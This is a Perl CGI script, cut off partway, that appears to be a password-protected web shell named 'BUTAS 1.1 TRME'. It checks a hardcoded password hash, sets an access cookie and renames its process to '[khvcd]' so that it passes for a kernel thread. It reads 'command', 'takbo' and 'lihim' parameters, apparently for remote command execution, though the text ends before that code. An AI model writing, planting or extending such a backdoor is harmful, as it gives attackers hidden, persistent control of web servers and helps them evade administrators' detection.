#!/usr/bin/perl
use strict;
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
use CGI qw(:standard escapeHTML);
my $vers = "BUTAS 1.1 TRME";
my $pwd = "BvR/DtaeLh5zw";
my $salt = substr($pwd, 0, 2);
my $ipwd = param("pwd");
my $epwd = crypt($ipwd, $salt);
my $npwd = crypt("", $salt);
my $cid2 = cookie("cid");
my $cid;
my $msg = " ";
my $command;
my $takbo;
my $lihim;
my $result;
$0="[khvcd]";
sub URLEncode {
my $theURL = $_[0];
$theURL =~ s/([\W])/"%" . uc(sprintf("%2.2x",ord($1)))/eg;
return $theURL;
}
if ($pwd eq $epwd) {
$cid = cookie(-name=>"cid", -value=>"1");
$cid2 = "1";
}
if ($epwd ne $npwd) {
$msg = "
Mukha Mo!
";
}
if (!($cid)) {
$cid = cookie( -name=>"cid", -value=>"0" );
}
$cid = cookie(-name=>"cid", -value=>$cid2);
print header( -COOKIE=>$cid ), start_html($vers);
if ($cid2 ne "1") {
print $msg;
print start_form();
print "The magic word is ";
print textfield( -name=>"pwd", -size=>"100");
print submit(-name=> 'submit_form', -value => 'Submit',);
print end_form;
print end_html;
exit(0);
}
print start_form();
if (param()){
$command = param("command");
$takbo = param("takbo");
$lihim = param("lihim");
}
print "